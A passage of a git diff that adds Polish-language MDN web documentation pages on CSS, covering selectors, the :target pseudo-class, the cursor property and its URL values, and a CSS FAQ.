</span><a href="/pl/docs/CSS" style="line-height: inherit;" title="CSS">CSS</a>, w tym<span style="line-height: inherit;"> </span><a href="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-classes" title="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-classes"><span style="line-height: inherit;">pseudo-k</span>las</a><span style="line-height: inherit;"> i </span><a href="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-elements" title="https://developer.mozilla.org/en-US/docs/CSS/Pseudo-elements"><span style="line-height: inherit;">pseudo-e</span>lementow</a><span style="line-height: inherit;">, za</span>sad używania <a href="https://developer.mozilla.org/en-US/docs/CSS/At-rule" title="https://developer.mozilla.org/en-US/docs/CSS/At-rule">znaku @</a><span style="line-height: inherit;">, </span><span style="line-height: inherit;">i selektorów w porządku alfabetycznym. Taka organizacja specyfikacji pozwala na szybki dostęp do szczegółowych informacji o każdym elemencie specyfikacji.</span><br> + <br> + Specyfikacja CSS nie tylko opisuje ustandaryzowane właściwości CSS1 i CSS2.1, ale odnosi się również do specyfikacji najnowszej wersji - <a href="/en/CSS/CSS3" title="CSS3">CSS3</a>, zarówno elementów w fazie koncepcji jak i elementów zatwierdzonych.</p> +<div> + Zobacz także <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions" title="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Mozilla_Extensions">rozszerzenie CSS Mozilli</a> skonstrułowanych dla programów opartych na Gecko, z prefiksem -moz; oraz <a href="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Webkit_Extensions" title="https://developer.mozilla.org/en-US/docs/CSS/CSS_Reference/Webkit_Extensions">rozszerzenia CSS WebKit</a> dla programów opartych na tym silniku. Sprawdź <a href="http://peter.sh/experiments/vendor-prefixed-css-property-overview/" title="http://peter.sh/experiments/vendor-prefixed-css-property-overview/">zestawienie właściwości wszystko prefiksów CSS</a> autorstwa Petera Beverloo.</div> +<p> </p> +<div> + {{ CSS_Ref() }}</div> +<h2 id="Selektory">Selektory</h2> +<ul> + <li>Proste selektory + <ul> + <li><a href="/pl/docs/CSS/Type_selectors" title="Type selectors">Type selectors</a><code> elementname</code></li> + <li><a href="/pl/docs/CSS/Class_selectors" title="Class selectors">Class selectors</a> <code>.classname</code></li> + <li><a href="/pl/docs/CSS/ID_selectors" title="ID selectors">ID selectors</a> <code>#idname</code></li> + <li><a href="/pl/docs/CSS/Universal_selectors" title="Universal selectors">Universal selectors</a><code> * ns|* *|*</code></li> + </ul> + </li> + <li>Połączenia + <ul> + <li><a href="/pl/docs/CSS/Adjacent_sibling_selectors" title="Adjacent sibling selectors">Adjacent sibling selectors</a> <code>A + B</code></li> + <li><a href="/pl/docs/CSS/General_sibling_selectors" title="General sibling selectors">General sibling selectors</a> <code>A ~ B</code></li> + <li><a href="/pl/docs/CSS/Child_selectors" title="Child selectors">Child selectors</a> <code>A > B</code></li> + <li><a href="/pl/docs/CSS/Descendant_selectors" title="Descendant selectors">Descendant selectors</a> <code>A B</code></li> + </ul> + </li> + <li><a href="/pl/docs/CSS/Pseudo-elements" title="Pseudo-elements">Pseudo-elements</a></li> + <li><a href="/pl/docs/CSS/Pseudo-classes" title="Pseudo-classes">Pseudo-classes</a></li> +</ul> +<h2 id="diverso">diverso</h2> +<ul> + <li>{{ Cssxref("Comments") }}</li> + <li><a href="/pl/docs/CSS/Media_queries" title="How to use media queries">Media queries</a></li> + <li><a href="/pl/docs/CSS_Counters" title="How to use CSS Counters">Counters</a></li> + <li><a href="/pl/docs/CSS/Using_CSS_gradients" title="How to use CSS gradients">Gradients</a></li> + <li><a href="/pl/docs/CSS/Using_CSS_transforms" title="How to use CSS transforms">Transforms</a></li> +</ul> +<h2 id="Pojęcia">Pojęcia</h2> +<ul> + <li><a href="/pl/docs/CSS/Syntax" title="Syntax">CSS syntax</a></li> + <li><a href="/pl/docs/CSS/At-rule" title="At-rule">At-rule</a></li> + <li><a href="/pl/docs/CSS/Comments" title='Comments"'>Comments</a></li> + <li><a href="/pl/docs/CSS/Specificity" title="Specificity">Specificity</a></li> + <li><a href="/pl/docs/CSS/initial_value" title="Initial value">Initial value</a></li> + <li><a href="/pl/docs/CSS/inheritance" title="Inheritance">Inheritance</a></li> + <li><a href="/pl/docs/CSS/specified_value" title="Specified value">Specified value</a></li> + <li><a href="/pl/docs/CSS/computed_value" title="Computed value">Computed value</a></li> + <li><a href="/pl/docs/CSS/used_value" title="Used value">Used value</a></li> + <li><a href="/pl/docs/CSS/actual_value" title="Actual value">Actual value</a></li> + <li><a href="/pl/docs/CSS/box_model" title="Box model">Box model</a></li> +</ul> diff --git a/files/pl/web/css/css_selectors/index.html b/files/pl/web/css/css_selectors/index.html new file mode 100644 index 0000000000..a93359f339 --- /dev/null +++ b/files/pl/web/css/css_selectors/index.html @@ -0,0 +1,133 @@ +--- +title: CSS selectors +slug: Web/CSS/CSS_Selectors +tags: + - CSS + - NeedsTranslation + - Overview + - Reference + - Selectors + - TopicStub +translation_of: Web/CSS/CSS_Selectors +--- +<div>{{CSSRef("Selectors")}}</div> + +<p class="summary"><span class="seoSummary"><strong>CSS selectors</strong> define the elements to which a set of CSS rules apply.</span></p> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: There are no selectors or combinators to select parent items, siblings of parents, or children of parent siblings.</p> +</div> + +<h2 id="Basic_selectors">Basic selectors</h2> + +<dl> + <dt><a href="/en-US/docs/Web/CSS/Universal_selectors">Universal selector</a></dt> + <dd>Selects all elements. Optionally, it may be restricted to a specific namespace or to all namespaces.<br> + <strong>Syntax:</strong> <code>*</code> <code><var>ns</var>|*</code> <code>*|*</code><br> + <strong>Example:</strong> <code>*</code> will match all the elements of the document.</dd> + <dt><a href="/en-US/docs/Web/CSS/Type_selectors">Type selector</a></dt> + <dd>Selects all elements that have the given node name.<br> + <strong>Syntax:</strong> <code><var>elementname</var></code><br> + <strong>Example:</strong> <code>input</code> will match any {{HTMLElement("input")}} element.</dd> + <dt><a href="/en-US/docs/Web/CSS/Class_selectors">Class selector</a></dt> + <dd>Selects all elements that have the given <code>class</code> attribute.<br> + <strong>Syntax:</strong> <code>.<var>classname</var></code><br> + <strong>Example:</strong> <code>.index</code> will match any element that has a class of "index".</dd> + <dt><a href="/en-US/docs/Web/CSS/ID_selectors">ID selector</a></dt> + <dd>Selects an element based on the value of its <code>id</code> attribute. There should be only one element with a given ID in a document.<br> + <strong>Syntax:</strong> <code>#<var>idname</var></code><br> + <strong>Example:</strong> <code>#toc</code> will match the element that has the ID "toc".</dd> + <dt><a href="/en-US/docs/Web/CSS/Attribute_selectors">Attribute selector</a></dt> + <dd>Selects all elements that have the given attribute.<br> + <strong>Syntax:</strong> <code>[<var>attr</var>]</code> <code>[<var>attr</var>=<var>value</var>]</code> <code>[<var>attr</var>~=<var>value</var>]</code> <code>[<var>attr</var>|=<var>value</var>]</code> <code>[<var>attr</var>^=<var>value</var>]</code> <code>[<var>attr</var>$=<var>value</var>]</code> <code>[<var>attr</var>*=<var>value</var>]</code><br> + <strong>Example:</strong> <code>[autoplay]</code> will match all elements that have the <code>autoplay</code> attribute set (to any value).</dd> +</dl> + +<h2 id="Grouping_selectors">Grouping selectors</h2> + +<dl> + <dt><a href="/en-US/docs/Web/CSS/Selector_list">Selector list</a></dt> + <dd>The <code>,</code> is a grouping method, it selects all the matching nodes.<br> + <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var>, <var>B</var></code><br> + <strong>Example:</strong> <code>div, span</code> will match both {{HTMLElement("span")}} and {{HTMLElement("div")}} elements.</dd> +</dl> + +<h2 id="Combinators">Combinators</h2> + +<dl> + <dt><a href="/en-US/docs/Web/CSS/Descendant_combinator">Descendant combinator</a></dt> + <dd>The <code> </code> (space) combinator selects nodes that are descendants of the first element.<br> + <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> <var>B</var></code><br> + <strong>Example:</strong> <code>div span</code> will match all {{HTMLElement("span")}} elements that are inside a {{HTMLElement("div")}} element.</dd> + <dt><a href="/en-US/docs/Web/CSS/Child_combinator">Child combinator</a></dt> + <dd>The <code>></code> combinator selects nodes that are direct children of the first element.<br> + <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> > <var>B</var></code><br> + <strong>Example:</strong> <code>ul > li</code> will match all {{HTMLElement("li")}} elements that are nested directly inside a {{HTMLElement("ul")}} element.</dd> + <dt><a href="/en-US/docs/Web/CSS/General_sibling_combinator">General sibling combinator</a></dt> + <dd>The <code>~</code> combinator selects siblings. This means that the second element follows the first (though not necessarily immediately), and both share the same parent.<br> + <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> ~ <var>B</var></code><br> + <strong>Example:</strong> <code>p ~ span</code> will match all {{HTMLElement("span")}} elements that follow a {{HTMLElement("p")}}, immediately or not.</dd> + <dt><a href="/en-US/docs/Web/CSS/Adjacent_sibling_combinator">Adjacent sibling combinator</a></dt> + <dd>The <code>+</code> combinator selects adjacent siblings. This means that the second element directly follows the first, and both share the same parent.<br> + <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> + <var>B</var></code><br> + <strong>Example:</strong> <code>h2 + p</code> will match all {{HTMLElement("p")}} elements that directly follow an {{HTMLElement("h2")}}.</dd> + <dt><a href="/en-US/docs/Web/CSS/Column_combinator">Column combinator</a> {{Experimental_Inline}}</dt> + <dd>The <code>||</code> combinator selects nodes which belong to a column.<br> + <strong>Syntax:</strong> <code style="white-space: nowrap;"><var>A</var> || <var>B</var></code><br> + <strong>Example:</strong> <code>col || td</code> will match all {{HTMLElement("td")}} elements that belong to the scope of the {{HTMLElement("col")}}.</dd> +</dl> + +<h2 id="Pseudo">Pseudo</h2> + +<dl> + <dt><a href="/en-US/docs/Web/CSS/Pseudo-classes">Pseudo classes</a></dt> + <dd>The <code>:</code> pseudo allow the selection of elements based on state information that is not contained in the document tree.<br> + <strong>Example:</strong> <code>a:visited</code> will match all {{HTMLElement("a")}} elements that have been visited by the user.</dd> + <dt><a href="/en-US/docs/Web/CSS/Pseudo-elements">Pseudo elements</a></dt> + <dd>The <code>::</code> pseudo represent entities that are not included in HTML.<br> + <strong>Example:</strong> <code>p::first-line</code> will match the first line of all {{HTMLElement("p")}} elements.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS4 Selectors")}}</td> + <td>{{Spec2("CSS4 Selectors")}}</td> + <td>Added the <code>||</code> column combinator, grid structural selectors, logical combinators, location, time-demensional, resource state, linguistic and UI pseudo-classes, modifier for ASCII case-sensitive and case-insensitive attribute value selection.</td> + </tr> + <tr> + <td>{{SpecName("CSS3 Selectors")}}</td> + <td>{{Spec2("CSS3 Selectors")}}</td> + <td>Added the <code>~</code> general sibling combinator and tree-structural pseudo-classes.<br> + Made pseudo-elements use a <code>::</code> double-colon prefix. Additional attribute selectors</td> + </tr> + <tr> + <td>{{SpecName("CSS2.1", "selector.html")}}</td> + <td>{{Spec2("CSS2.1")}}</td> + <td>Added the <code>></code> child and <code>+</code> adjacent sibling combinators.<br> + Added the <strong>universal</strong> and <strong>attribute</strong> selectors.</td> + </tr> + <tr> + <td>{{SpecName("CSS1")}}</td> + <td>{{Spec2("CSS1")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<p>See the <a href="/en-US/docs/Web/CSS/Pseudo-classes#Specifications">pseudo-class</a> and <a href="/en-US/docs/Web/CSS/Pseudo-elements#Specifications">pseudo-element</a> specification tables for details on those.</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/Specificity">CSS Specificity</a></li> +</ul> diff --git a/files/pl/web/css/css_selectors/użycie_pseudoklasy__colon_target_w_selektorach/index.html b/files/pl/web/css/css_selectors/użycie_pseudoklasy__colon_target_w_selektorach/index.html new file mode 100644 index 0000000000..ff4ec92e20 --- /dev/null +++ b/files/pl/web/css/css_selectors/użycie_pseudoklasy__colon_target_w_selektorach/index.html @@ -0,0 +1,64 @@ +--- +title: 'Użycie pseudoklasy :target w selektorach' +slug: 'Web/CSS/CSS_Selectors/Użycie_pseudoklasy_:target_w_selektorach' +translation_of: 'Web/CSS/CSS_Selectors/Using_the_:target_pseudo-class_in_selectors' +--- +<div>{{CSSRef}}</div> + +<p>Czasami adres URL wskazuje na konkretny fragment dokumentu, ale użytkownikowi może być ciężko to zauważyć. Sprawdź, jak można łatwo zwrócić uwagę użytkownika na target naszego adresu URL za pomocą CSS.</p> + +<h2 id="Picking_a_Target" name="Picking_a_Target">Wybór targetu</h2> + +<p><a href="/en/CSS/Pseudo-classes" title="Pseudo-classes">Pseudoklasy</a> {{cssxref(":target")}} używa się, aby ostylować targetowany element adresu URL, który zawiera identyfikator fragmentu.</p> + +<p>Przykładowo, adres URL <code><span class="nowiki">http://developer.mozilla.org/en/docs/Using_the_:target_selector#example</span></code> zawiera identyfikator fragmentu o treści <code>#example</code>. W HTML identyfikatory fragmentu to wartości atrybutów <code>id</code> lub <code>name</code> jako że atrybuty te dzielą tę samą przestrzeń na nazwy. A więc adres URL z naszego przykładu wskazywałby nam część strony o tytule "example".</p> + +<p>Przypuśćmy, że chcesz ostylować każdy element <code>h2</code>, który jest targetem URL i nie chcesz, żeby elementy innego rodzaju dostały ostylowane w ten sposób. To proste:</p> + +<pre class="brush: css">h2:target { font-weight: bold; }</pre> + +<p>Można też stworzyć style, które dotyczą jedynie konkretnego fragmentu naszej strony. Robi się to używając tego samego identyfikatora, który znajduje się w naszym URL. Tak więc aby dodać obramowanie do fragmentu strony zawierającego element <code>#example</code>, napisalibyśmy:</p> + +<pre class="brush: css">#example:target { border: 1px solid black; }</pre> + +<h2 id="Targeting_the_Root_Element" name="Targeting_the_Root_Element">Targetowanie wszystkich elementów</h2> + +<p>Jeżeli chcemy stworzyć uniwersalne stylowanie, którego będziemy używać do wszystkich targetowanych elementów, możemy użyć uniwersalnego selektora:</p> + +<pre class="brush: css">:target { color: red; } +</pre> + +<h2 id="Example" name="Example">Przykład</h2> + +<p>W poniższym przykładzie jest pięć odnośników, które przenoszą nas do różnych elementów należących do jednego dokumentu. Wybierając link "Pierwszy" sprawi, że <code><h1 id="one"></code> zostanie naszym pierwszym targetowanym elementem. Zwróć uwagę, że dokument zostać przewinięty przewinąć do nowej pozycji, jako że targetowane elementy umieszcza się w miarę możliwości na górze okna przeglądarki.</p> + +<div id="example"> +<pre class="brush: html"><h4 id="jeden">...</h4> <p id="dwa">...</p> +<div id="trzy">...</div> <a id="cztery">...</a> <em id="piec">...</em> + +<a href="#jeden">Pierwszy</a> +<a href="#dwa">Drugi</a> +<a href="#trzy">Trzeci</a> +<a href="#cztery">Czwarty</a> +<a href="#piec">Piąty</a></pre> +</div> + +<h2 id="Conclusion" name="Conclusion">Podsumowanie</h2> + +<p>W przypadkach, gdy identyfikator fragmentu wskazuje na dany kawałek dokumentu, użytkownik może nie być pewny, którą część dokumentu ma czytać. Dzięki ostylowaniu targetu adresu URL można tego uniknąć.</p> + +<h2 id="Related_Links" name="Related_Links">Zobacz też</h2> + +<ul> + <li>{{cssxref(":target")}}</li> +</ul> + +<div class="originaldocinfo"> +<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3> + +<ul> + <li>Author(s): Eric Meyer, Standards Evangelist, Netscape Communications</li> + <li>Original Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li> + <li>Note: This reprinted article was originally part of the DevEdge site.</li> +</ul> +</div> diff --git a/files/pl/web/css/cursor/index.html b/files/pl/web/css/cursor/index.html new file mode 100644 index 0000000000..74575073a9 --- /dev/null +++ b/files/pl/web/css/cursor/index.html @@ -0,0 +1,156 @@ +--- +title: cursor +slug: Web/CSS/cursor +tags: + - CSS + - 'CSS:Dokumentacje' + - Dokumentacje + - Wszystkie_kategorie +translation_of: Web/CSS/cursor +--- +<p>{{CSSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Własność <code>cursor</code> określa kursor myszy wyświetlany, kiedy wskaźnik myszy jest nad elementem.</p> + +<p>{{cssinfo}}</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval">cursor: <std-cursor-name> | <url> [<x> <y>]? [, <url> [<x> <y>]?]* | {{ Cssxref("inherit") }} ; +</pre> + +<pre class="eval">cursor: [<url> [<x> <y>]?,]* <std-cursor-name> ; +</pre> + +<h3 id="Warto.C5.9Bci" name="Warto.C5.9Bci">Wartości</h3> + +<dl> + <dt><url> {{ mediawiki.external(' ') }}? </dt> + <dd>URL własnego kursora. Może być podany więcej niż jeden w wypadku, kiedy niektóre typy obrazów nie są obsługiwane. Pozostałe adresy URL muszą być podane jako ostatnie. Zobacz <a href="pl/U%c5%bcycie_warto%c5%9bci_URL_dla_w%c5%82asno%c5%9bci_cursor">Użycie wartości URL dla własności cursor</a> po więcej informacji.</dd> + <dt><std-cursor-name></dt> + <dd>Jedna z nazw kursorów podanych w poniższej tabeli.</dd> +</dl> + +<dl> + <dt><code>default</code> </dt> + <dd>domyślny kursor (zazwyczaj strzałka)</dd> + <dt><code>auto</code> </dt> + <dd>odpowiednik <code>text</code>, kiedy jest ponad tekstem i <code>default</code> w innych przypadkach</dd> + <dt><code>crosshair</code> </dt> + <dd>kursor w kształcie krzyżyka, często używany do wskazania zaznaczenia w bitmapie</dd> + <dt><code>pointer</code> </dt> + <dd>kursor używany nad linkami (zwykle ręka)</dd> + <dt><code>move</code> </dt> + <dd>kursor przenoszenia</dd> + <dt><code>e-resize</code> </dt> + <dd>kursor do zmiany rozmiaru prawej krawędzi pudełka</dd> + <dt><code>ne-resize</code> </dt> + <dd>kursor do zmiany rozmiaru górnego prawego rogu pudełka</dd> + <dt><code>nw-resize</code> </dt> + <dd>kursor do zmiany rozmiaru górnego lewego rogu pudełka</dd> + <dt><code>n-resize</code> </dt> + <dd>kursor do zmiany rozmiaru górnej krawędzi pudełka</dd> + <dt><code>se-resize</code> </dt> + <dd>kursor do zmiany rozmiaru dolnego prawego rogu pudełka</dd> + <dt><code>sw-resize</code> </dt> + <dd>kursor do zmiany rozmiaru dolnego lewego rogu pudełka</dd> + <dt><code>s-resize</code> </dt> + <dd>kursor do zmiany rozmiaru dolnej krawędzi pudełka</dd> + <dt><code>w-resize</code> </dt> + <dd>kursor do zmiany rozmiaru lewej krawędzi pudełka</dd> + <dt><code>text</code> </dt> + <dd>kursor wskazujący tekst, który może być zaznaczony (zwykle belka w kształcie I)</dd> + <dt><code>wait</code> </dt> + <dd>kursor wskazujący, że program jest zajęty (czasami klepsydra lub zegarek)</dd> + <dt><code>help</code> </dt> + <dd>kursor wskazujący, że dostępna jest pomoc</dd> + <dt><code>progress</code> </dt> + <dd>kursor wskazujący, że program jest jest zajęty, ale użytkownik może nadal oddziaływać z nim (w przeciwieństwie do <code>busy</code>)</dd> + <dt><code>copy</code> </dt> + <dd>kursor pokazujący, że coś może być skopiowane</dd> + <dt><code>alias</code> </dt> + <dd>kursor wskazujący, że alias lub skrót jest do utworzenia</dd> + <dt><code>context-menu</code> </dt> + <dd>kursor wskazujący, że menu kontekstowe jest dostępne pod kursorem</dd> + <dt><code>cell</code> </dt> + <dd>kursor wskazujący, że komórki mogą być zaznaczone</dd> + <dt><code>not-allowed</code> </dt> + <dd>kursor pokazujący, że coś nie może być zrobione</dd> + <dt><code>col-resize</code> </dt> + <dd>kursor do zmiany rozmiaru kolumn poziomo</dd> + <dt><code>row-resize</code> </dt> + <dd>kursor do zmiany rozmiaru wierszy pionowo</dd> + <dt><code>no-drop</code> </dt> + <dd>kursor pokazujący, że opuszczenie nie jest dozwolone w aktualnym położeniu</dd> + <dt><code>vertical-text</code> </dt> + <dd>kursor wskazujący, że poziomy tekst może być zaznaczony (zwykle boczna belka w kształcie I)</dd> + <dt><code>all-scroll</code> </dt> + <dd>kursor pokazujący, że coś może być przewijane w dowolnym kierunku (przesuwane)</dd> + <dt><code>nesw-resize</code> </dt> + <dd>kursor do zmiany rozmiaru w kierunkach górny prawy lub dolny lewy</dd> + <dt><code>nwse-resize</code> </dt> + <dd>kursor do zmiany rozmiaru w kierunkach górny lewy lub dolny prawy</dd> + <dt><code>ns-resize</code> </dt> + <dd>kursor do zmiany rozmiaru w górę lub w dół</dd> + <dt><code>ew-resize</code> </dt> + <dd>kursor do zmiany rozmiaru w lewo lub prawo</dd> +</dl> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<p><a href="/samples/cssref/cursor.html">Zobacz przykład</a></p> + +<pre>Liniowy: + +<span style="cursor: crosshair">Jakiś tekst</span> + +Zewnętrzny: + +.pointer { + cursor: pointer; +} +.move { + cursor: move; +} + +</pre> + +<h2 id="Notatki" name="Notatki">Notatki</h2> + +<p>Ta własność działa na starszych przeglądarkach, jednak nie wszystkie wartości są w pełni wspierane.</p> + +<h2 id="Specyfikacje" name="Specyfikacje">Specyfikacje</h2> + +<ul> + <li><a class="external" href="http://www.w3.org/TR/CSS21/ui.html#propdef-cursor">CSS 2.1</a></li> + <li><a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">css3-ui</a></li> +</ul> + +<h2 id="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85" name="Zgodno.C5.9B.C4.87_z_przegl.C4.85dark.C4.85">Zgodność z przeglądarką</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th>Przeglądarka</th> + <th>Najniższa wersja</th> + </tr> + <tr> + <td>Internet Explorer</td> + <td>4</td> + </tr> + <tr> + <td>Firefox</td> + <td>1.5</td> + </tr> + <tr> + <td>Netscape</td> + <td>6</td> + </tr> + <tr> + <td>Opera</td> + <td>7</td> + </tr> + </tbody> +</table> diff --git a/files/pl/web/css/cursor/użycie_wartości_url_dla_własności_cursor/index.html b/files/pl/web/css/cursor/użycie_wartości_url_dla_własności_cursor/index.html new file mode 100644 index 0000000000..f6e786ee52 --- /dev/null +++ b/files/pl/web/css/cursor/użycie_wartości_url_dla_własności_cursor/index.html @@ -0,0 +1,41 @@ +--- +title: Użycie wartości URL dla własności cursor +slug: Web/CSS/cursor/Użycie_wartości_URL_dla_własności_cursor +tags: + - CSS + - CSS_2.1 + - Programowanie_WWW + - Programowanie_dla_wielu_przeglądarek + - Wszystkie_kategorie +translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property +--- +<p> </p> +<p><a href="pl/Gecko">Gecko</a> 1.8 (<a href="pl/Firefox_1.5">Firefox 1.5</a>, SeaMonkey 1.0) wspiera wartości URL dla <a class="external" href="http://www.w3.org/TR/CSS21/ui.html#cursor-props">własności cursor CSS 2/2.1</a>. To pozwala używać zewnętrzne obrazki jako kursory myszy — można użyć każdego formatu wspieranego przez Gecko.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<p>Składnia dla tej własności:</p> +<pre class="eval">cursor: [<url>,]* słowo_kluczowe; +</pre> +<p>To oznacza, że można podać zero lub więcej adresów URL (oddzielonych przecinkiem), a na końcu musi pojawić się jedno ze słów kluczowych zdefiniowanych w specyfikacji <a href="pl/CSS">CSS</a>, takie jak <code>auto</code> czy <code>pointer</code>.</p> +<p>Na przykład, taka wartość jest dozwolona:</p> +<pre class="eval">cursor: url(foo.cur), url(<span class="nowiki">http://www.example.com/bar.gif</span>), auto; +</pre> +<p>Najpierw nastąpi próba pobrania pliku foo.cur. Jeżeli ten plik nie istnieje, lub jest nieprawidłowy z jakiegoś powodu, nastąpi próba pobrania bar.gif, a jeśli to się nie uda, zostanie użyta wartość <code>auto</code>.</p> +<p>Wsparcie dla <a class="external" href="http://www.w3.org/TR/css3-ui/#cursor">składni</a> CSS3 dla wartości własności cursor zostało dodane w Gecko 1.8beta3 (Deer Partk Alpha 2); zatem działa ono w Firefoksie 1.5. Pozwala to na określanie punktu wiązania kursora, który <b>musi</b> być wewnątrz wymiarów obrazka kursora; koordynaty na zewnątrz obrazka będą przybliżane do krawędzi (n.p. ujemna wartość będzie interpretowana jako 0, a wartości wykraczające poza wymiary obrazka będą przycinane do najbliższego piksela w obrazku). Jeśli nie zostaną podane, dla plików CUR i XBM wartości zostaną pobrane z plików, a dla pozostałych zostanie ustalony lewy górny róg obrazka. Przykładem składni CSS3 jest:</p> +<pre class="eval">cursor: url(foo.png) 4 12, auto; +</pre> +<p>Pierwsza liczba to wartość x, a drugi y. W tym przypadku punkt wiązania zostanie ustawiony w pikselu (4,12) licząc od lewego górnego rogu (0,0).</p> +<h3 id="Ograniczenia" name="Ograniczenia">Ograniczenia</h3> +<p>Można używać wszystkich formatów obrazków wspieranych przez Gecko. To oznacza, że możesz użyć BMP, JPG, CUR, GIF, itp. Jednak ANI nie jest wspierane. I nawet, jeżeli zostanie podany animowany GIF, kursor nie będzie animowany. To ograniczenie zostanie usunięte w przyszłych wersjach.</p> +<p>Gecko, samo w sobie, nie tworzy żadnych ograniczeń, co do rozmiaru kursora. Jednak powinieneś ograniczyć obrazek do 32x32 dla maksymalnej kompatybilności z różnymi systemami operacyjnymi. W szczególności kursory większe, niż podany rozmiar nie będą działały na Windows 9x (95, 98, ME).</p> +<p>Przezroczyste kursory nie są wspierane na systemie Windows w wersjach wcześniejszych niż XP. To ograniczenie systemu operacyjnego. Przezroczystość działa na pozostałych platformach.</p> +<p>Tylko wydania Mozilli na platformy Windows, OS/2 i Linux (z GTK+ 2.4 lub nowszym) wspierają wartości URL dla kursorów. Wsparcie dla innych platform może zostać dodane w przyszłości (Mac OS: {{ Bug(286304) }}, QNX Neutrino: {{ Bug(286307) }}, XLib: {{ Bug(286309) }}, Qt: {{ Bug(286310) }}, BeOS: {{ Bug(298184) }}, Gtk 2.0/2.2: {{ Bug(308536) }})</p> +<h3 id="Kompatybilno.C5.9B.C4.87_z_innymi_przegl.C4.85darkami" name="Kompatybilno.C5.9B.C4.87_z_innymi_przegl.C4.85darkami">Kompatybilność z innymi przeglądarkami</h3> +<p>Microsoft Internet Explorer także wspiera wartości URI dla własności cursor. Jednak wspiera wyłącznie formaty CUR i ANI.</p> +<p>Jest także znacznie mniej restrykcyjny w zakresie składni. To oznacza, że wartości takie jak:</p> +<pre class="eval">cursor: url(foo.cur); +</pre> +<p>lub:</p> +<pre class="eval">cursor: url(foo.cur), pointer, url(bar.cur), auto; +</pre> +<p>będą działały w MSIE, ale nie będą w Gecko. Dla kompatybilności z Gecko i zgodności ze specyfikacja CSS, zawsze na początku należy podać URI, oraz użyć dokładnie jednego słowa kluczowego na końcu.</p> +<p> </p> diff --git a/files/pl/web/css/częste_pytania_o_css/index.html b/files/pl/web/css/częste_pytania_o_css/index.html new file mode 100644 index 0000000000..12a84d8c20 --- /dev/null +++ b/files/pl/web/css/częste_pytania_o_css/index.html @@ -0,0 +1,162 @@ +--- +title: Częste pytania o CSS +slug: Web/CSS/Częste_pytania_o_CSS +tags: + - CSS + - Wszystkie_kategorie +translation_of: Learn/CSS/Howto/CSS_FAQ +--- +<p> +</p> +<h3 id="Cz.C4.99sto_zadawane_pytania" name="Cz.C4.99sto_zadawane_pytania"> Często zadawane pytania </h3> +<h4 id="Stworzy.C5.82em_poprawny_CSS.2C_ale_przegl.C4.85darka_go_.C5.BAle_wy.C5.9Bwietla" name="Stworzy.C5.82em_poprawny_CSS.2C_ale_przegl.C4.85darka_go_.C5.BAle_wy.C5.9Bwietla"> Stworzyłem poprawny CSS, ale przeglądarka go źle wyświetla </h4> +<p>Jeśli chcesz, aby Twoja przeglądarka poprawnie wyświetlała strony stworzone zgodnie ze standardami HTML/CSS, to musisz zadeklarować na początku każdego pliku HTML Deklarację Typu Dokumentu (DTD - Document Type Declaration). +</p><p>Nowoczesne przeglądarki obsługują dwa główne tryby wyświetlania: +</p> +<ul><li> <i>Tryb zgodności wstecznej</i> (<i>Quirks Mode</i>): tryb pozwalający prawidłowo wyświetlać strony oparte na niestandardowych metodach renderowania. Te metody były używane w przeglądarkach zanim zaimplementowano obsługę standardów W3C. +</li><li> <i>Tryb standardów</i> (<i>Standard Mode</i>): w tym trybie przeglądarka ma ściśle stosować się do standardów W3C. +</li></ul> +<p>Jeśli Twoja deklaracja (DTD) jest niepełna, przestarzała lub jej brak, to przeglądarki będą wyświetlały strony używając trybu zgodności wstecznej. +</p><p>Oto lista najczęściej używanych DTD: +</p> +<pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" +"http://www.w3.org/TR/html4/loose.dtd"> + +<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" +"http://www.w3.org/TR/html4/strict.dtd"> + +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" +"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> + +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" +"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +</pre> +<h4 id="R.C3.B3.C5.BCnice_mi.C4.99dzy_id_i_class" name="R.C3.B3.C5.BCnice_mi.C4.99dzy_id_i_class"> Różnice między <code>id</code> i <code>class</code> </h4> +<p>Bloki i elementy HTML-a mogą mieć atrybut <code>id</code> i/lub <code>class</code>. Atrybut <code>id</code> pozwala nadać unikalną nazwę wybranemu elementowi. W jednym dokumencie nie może być dwóch elementów o tej samej nazwie (identyfikatorze). Atrybut <code>class</code> pozwala na grupowanie elementów w określonej klasie. Z założenia identyczny atrybut jest stosowany dla wielu elementów. CSS pozwala zdefiniować style, które mają być użyte do elementów z odpowiednim atrybutem 